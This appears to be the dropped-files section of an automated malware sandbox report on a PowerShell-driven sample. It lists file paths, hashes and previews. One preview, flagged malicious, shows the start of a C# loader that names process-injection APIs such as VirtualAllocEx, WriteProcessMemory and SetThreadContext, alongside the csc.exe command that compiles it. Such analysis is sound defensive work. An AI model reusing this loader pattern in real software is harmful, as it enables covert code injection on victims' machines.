Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...1.y.j.3.5.v.5.c...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...1.y.j.3.5.v.5.c...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	4.547000581752388
Encrypted:	false
SSDEEP:	192:2QC2o4mAQgOLocU9wMk2kAt/Z7pu/cuvnzHzrEo66T:2oYLoH97t/Z7pgjvzf5XT
MD5:	FAC8F0E634D8D7975A6EDC045D89AE09
SHA1:	DD06BCC32B91D9635BFA317A5213E3C5EE86D2A0
SHA-256:	6F5BD7F4EE85C3181E111CDC470E434875BADEDC87EFC056B8EDF5CD494FBFB2
SHA-512:	C8D77D5FA969CC6668C25331B5933C8B98DEDEF9C2DD9DA345C3CF89D96C05CC20953486E9185390501245A12AFB5CF9F37C1B627AECE6D797F0F354F6E27CD5
Malicious:	true
Preview:	.using System;..using System.Diagnostics;..using System.IO;..using System.Net;..using System.Runtime.InteropServices;..using System.Threading.Tasks;....public class ClasserPlus..{.. public static Int16 ConvertToInt16(byte[] value, int startIndex).. {.. return BitConverter.ToInt16(value, startIndex);.. }.... public static Int32 ConvertToInt32(byte[] value, int startIndex).. {.. return BitConverter.ToInt32(value, startIndex);.. }.... public static byte[] ConvertToBytes(int value).. {.. return BitConverter.GetBytes(value);.. }.... public static string[] GetApiNames().. {.. return new string[].. {.. "kernel32",.. "ntdll",.. "ResumeThread",.. "Wow64SetThreadContext",.. "SetThreadContext",.. "Wow64GetThreadContext",.. "GetThreadContext",.. "VirtualAllocEx",.. "WriteProcessMemory",.. "ReadProcessMemory",..

C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	204
Entropy (8bit):	5.0543967333315605
Encrypted:	false
SSDEEP:	6:pAu+H2L/6K2wkn23fxIAt0zxszIwkn23fxIA/Hn:p37L/6KRfmAt0QfmAPn
MD5:	63C515F5C98C6A6709AF91DC4669F46C
SHA1:	DD1CB895D54E0D14267D45DC61A73CF598C375B9
SHA-256:	F21749976D2E932578DB02ACB792609315DF52F7952D6F69B390875C6785962E
SHA-512:	96242190C90108A1FEECADEE3A54014B00F550D79798A876F14B42A7AC373B6AA3DA073A9B37F0C0AE53F76ECE9D4BF71338D5A5B26789C606163DB81BC7C46B
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.0.cs"

C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	4.63294351731549
Encrypted:	false
SSDEEP:	192:CRH6HN4QhfNQ8q8888yYAd8RjOa3UxRa95MqBYUeN459:lNxN89Oo+a95MqCS59
MD5:	D303F3B7A4CEF4E92845AF0001BA88D8
SHA1:	9B823F6167BB64FD27F25768A2EF1178C297B007
SHA-256:	D312153CC7484C5EF36DDAFC0C003C79B09F3929E4F098043539CB4AD4ED7CD9
SHA-512:	DE89063863A933F1CA30BAA4CEFEC78454ECB9D9973421EC1F1E07160570A23A3B1C52840F9B136A5C524A844B2AF320F30A799667AF7CFD6FFB6A26263E10AD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5og...........!.................<... ...@....... ....................................@..................................<..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................<......H........%.............................................................."..(...."..(......(.......0..m.................r...p...r...p...r...p...r9..p...re..p...r...p...r...p...r...p...r...p....r...p....r=..p....rg..p.....(......(.........(....(.........*....0..:........e...+X......YE................................................+....+....,..?.+...+...+......X...2...8..............................(....(....}....~....r...pr...p~....~..... ....~.........o3.......-.s....z..<

C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	702
Entropy (8bit):	5.252198366237126
Encrypted:	false
SSDEEP:	12:KJN/qR37L/6KRfmAt0QfmAPuKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KJBqdn6KRfmAFfmAPuKax5DqBVKVrdFf
MD5:	1EEEF94137DC47A726D09DA5BF6C3544
SHA1:	7DE4DF221D77769CB626EB03BD1F981FF3F53BB0
SHA-256:	CBDEA2117AE9B71EFCAFBC2ECE7C39956BF39DF6EBD9BAC048408828BC06F481
SHA-512:	769CAAB3F12D3AEEB67A08037461E60DA3211713C4A469747A8B563CFBEEF98E86D9D021C0C76A5B649AA812B97C6AE72E07E14F8AA46149107243C3BCEF6785
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\3vvszjlk\CSC1C049BEBEBAF4B45B9D79F1CA1976831.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.121315635362584
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grygllGak7YnqqrllXPN5Dlq5J:+RI+ycuZhN6lYakSrlNPNnqX
MD5:	7CB69F8ED7B2F1B08130CF2AA90271BE
SHA1:	DB0810E499C8B738260A657033196AD95D816A8E
SHA-256:	FFC6123C9743E658928D4DC37621A649634875578A944C4D3AD6CF1696E25028
SHA-512:	6D9B8018E19D9A9B42AC625C127F88CB21E25F865D31291CA916D24875E98C1C05419698BBACA614B2B0A670CE7A3E809869D305E3E4B74277CF2A5EE8E7718B
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...3.v.v.s.z.j.l.k...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...3.v.v.s.z.j.l.k...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\RES374.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Fri Dec 27 23:19:23 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.9926745498151295
Encrypted:	false
SSDEEP:	24:HCe9E2+fmpurRfHNwKEbsmfWI+ycuZhN6lYakSrlNPNnqSqd:wmp+JOKPm+1ulta3hqSK
MD5:	69D4BBD153FAC637F864AA31FA881B89
SHA1:	4B453FE21CB3694103D1B03D83874F3A7736ECEA
SHA-256:	BC06CBAE655A9CDDE648B77EDE2EDE8C751F909C9C39B80836505365740E82FE
SHA-512:	0A38239A10DB0C508AFDA0637CC3630D0D7B715503B3A984CD5C8C2F5FEB8F2EE685851C11A4B2E6053E9E9551AEA2BBAB52843C900C1184A72EC218D7C2CBB3
Malicious:	false
Preview:	L....5og.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\3vvszjlk\CSC1C049BEBEBAF4B45B9D79F1CA1976831.TMP...............\|.....0.*..q...........3.......C:\Users\user\AppData\Local\Temp\RES374.tmp.-.<....................a..Microsoft (R) CVTRES.\.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...3.v.v.s.z.j.l.k...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\RESF461.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Fri Dec 27 23:19:19 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.9852805265737694
Encrypted:	false
SSDEEP:	24:HGe9E2+f7gnUXDfHhBWwKEbsmfII+ycuZhNAGakSRXPNnqSqd:k7gUzxKPmg1ulAGa3RFqSK
MD5:	2CD6DAB14580E9298E0E925AD5469E1E
SHA1:	337F603B41278D9885BE35C28906CDA212E1674D
SHA-256:	D1F92BD119F639A409431C877C1B8B7A2489BE8FCD4D0E928DE04F6FD3B89AEF
SHA-512:	97FF2B76D5E7B3EE5B3D495FC4E34FC5B15AB4E06A7C421C118A4517D434FC79F70134EF0C62946A07AF81FA7B08A5C005C239721448622CF2E878AE46E69FC2
Malicious:	false
Preview:	L....5og.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\wzlesmvi\CSC11B817DA9D55460CBF45133E7BAA649F.TMP.................Q..#P...i..'4G..........4.......C:\Users\user\AppData\Local\Temp\RESF461.tmp.-.<....................a..Microsoft (R) CVTRES.\.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...w.z.l.e.s.m.v.i...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\RESF462.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Fri Dec 27 23:19:19 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	4.002801435985318
Encrypted:	false
SSDEEP:	24:HGe9EuZf/YXDfHhCQwKEbsmfII+ycuZhNXakSJPNnqSqd:DB/YzE/KPmg1ulXa3rqSK
MD5:	4449885B2B938D5C9E7553452742683E
SHA1:	48546878C0D2E8CB17EFDBE53A272C13AA5932CD
SHA-256:	51DB505B71FB7D39D10D5FDABC0DB830A32D7D1D87D5C4675D9E1C263534E6C6
SHA-512:	08FE7D8EE4975EEC087C02ED12A2863D0A9530030A9DDC8DA9B34EB9DD2AFF224726021424F8A95FB4C926D2F2C329BCDF934B352612031BBD99CBB13A72248D
Malicious:	false
Preview:	L....5og.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........S....c:\Users\user\AppData\Local\Temp\xyq5akbp\CSC3C74FAAA7254A90B38FFB13CA21DCB4.TMP................!.3`..~+...Q..J...........4.......C:\Users\user\AppData\Local\Temp\RESF462.tmp.-.<....................a..Microsoft (R) CVTRES.\.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...x.y.q.5.a.k.b.p...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\RESF463.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Fri Dec 27 23:19:19 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.9999768763669326
Encrypted:	false
SSDEEP:	24:HGe9E2+fZ7AXDfHhmwKEbsmfII+ycuZhNkakSwPNnqSqd:kOzvKPmg1ulka3oqSK
MD5:	64C5F66D9128E76B40136F8D4F6C46D9
SHA1:	4A9D053A72227E690C724377E20E8A47203391C2
SHA-256:	28064F0A7A59D8DBF737F766750E6569BCFEB614FF3EB32C96581598F80FD796
SHA-512:	1FE141AF4567F485818A29CE14C100DDCEC5FFACC23389B031CB71A9D304A220E553A0CB534B0833774BE008A4CCB2DAEEF3BBFE1FED038D705E276A70A1FD20
Malicious:	false
Preview:	L....5og.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\1yj35v5c\CSC1D664DFBC1CF4D3B97F036955FDEE5EE.TMP.................~.Y{*Q...{..z>..........4.......C:\Users\user\AppData\Local\Temp\RESF463.tmp.-.<....................a..Microsoft (R) CVTRES.\.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...1.y.j.3.5.v.5.c...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0exqqbpw.gvj.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4bjcnjkq.wvg.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bhdu4d3w.ewm.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_epyq3bik.glt.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fdna31cu.2yz.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h2gmamim.sa2.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j30nqc2o.fv3.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_je24ojuw.55i.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kwx3qzyv.t05.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_of3ltesb.5wm.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q1pwmbwp.lov.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t4jm5slq.m0t.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ti3gihop.uqt.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w5ultme0.dys.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wziv4tn2.r2d.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
